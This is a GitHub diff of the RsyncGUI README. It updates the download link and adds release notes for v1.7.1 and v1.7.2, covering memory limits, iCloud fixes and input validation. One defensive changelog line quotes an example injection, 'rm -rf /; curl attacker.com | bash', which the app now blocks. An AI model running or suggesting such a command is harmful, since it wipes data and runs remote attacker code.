You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
@@ -20,7 +20,7 @@ A modern, open-source alternative to the discontinued [RsyncOSX](https://github.
20
20
21
21
## Download
22
22
23
-
Download the latest release: [RsyncGUI v1.7.0](https://github.com/kochj23/RsyncGUI/releases/latest)
23
+
Download the latest release: [RsyncGUI v1.7.2](https://github.com/kochj23/RsyncGUI/releases/latest)
24
24
25
25
Or build from source (see below).
26
26
@@ -37,7 +37,34 @@ If you're coming from RsyncOSX (discontinued), RsyncGUI offers:
37
37
38
38
---
39
39
40
-
## 🆕 What's New in v1.7.0 (February 2026)
40
+
## 🆕 What's New in v1.7.2 (March 2026)
41
+
42
+
### Bug Fix Release — Large Jobs, iCloud, and Reliability
43
+
44
+
**Large jobs dying halfway through — fixed:**
45
+
- Output buffer now capped at 10 MB per execution. Previously, jobs syncing 50,000+ files with `--verbose --progress` would accumulate hundreds of MB of rsync output in memory, eventually getting killed by the OS. Excess output is now truncated with a notice; full output is available in Console.app.
46
+
-`verbose` and `compress` now default to **off**. These defaults were wrong for local/LAN syncs — verbose generates a line per file transferred, and compression actually slows down local transfers by burning CPU. Users who need them can still enable them per-job.
47
+
- Parallel mode file list capped at 50,000 entries. The file enumeration for parallel splitting was loading every file path into a Swift array before starting any work, causing RAM exhaustion on large directories.
48
+
- Directory change detection (`runOnlyIfChanged`) now caps at 100,000 files and yields to the cooperative thread pool every 5,000 entries, preventing it from blocking the main executor on large source directories.
49
+
50
+
**iCloud Drive integration — fixed:**
51
+
- Added `--exclude=*.icloud` automatically for all iCloud Drive destinations. Files that iCloud has evicted from local storage become `.filename.icloud` stub placeholders that rsync cannot read. Without this exclusion, rsync would error on every offloaded file or silently transfer the stub instead of the real content.
52
+
- Removed a `Thread.sleep(0.5)` that was blocking the cooperative thread pool while "waiting for iCloud to recognize a new folder." iCloud's daemon (`bird`) handles folder recognition asynchronously regardless.
53
+
54
+
**Other reliability fixes:**
55
+
- Pre/post sync scripts (`runScript`) converted from blocking `waitUntilExit()` to async continuation. A hanging script no longer freezes the entire executor — it suspends without consuming a thread.
56
+
-`rsh` (custom remote shell) now validated as an absolute path to an existing executable before use. Previously any string was passed to rsync's `-e` flag.
57
+
-`rsyncPath` (remote rsync binary) validated against a safe-character pattern before use.
58
+
59
+
---
60
+
61
+
## What's New in v1.7.1 (March 4, 2026)
62
+
63
+
**Security: Inline shell commands blocked** — `runScript()` now requires an absolute path to an executable file. Inline bash commands (e.g. `rm -rf /; curl attacker.com | bash`) are rejected, preventing shell injection via user-configured pre/post sync scripts.
64
+
65
+
---
66
+
67
+
## What's New in v1.7.0 (February 2026)
41
68
42
69
### Security Hardening & Code Quality Audit
43
70
**30 findings resolved across CRITICAL, HIGH, MEDIUM, LOW, and INFO severities:**
0 commit comments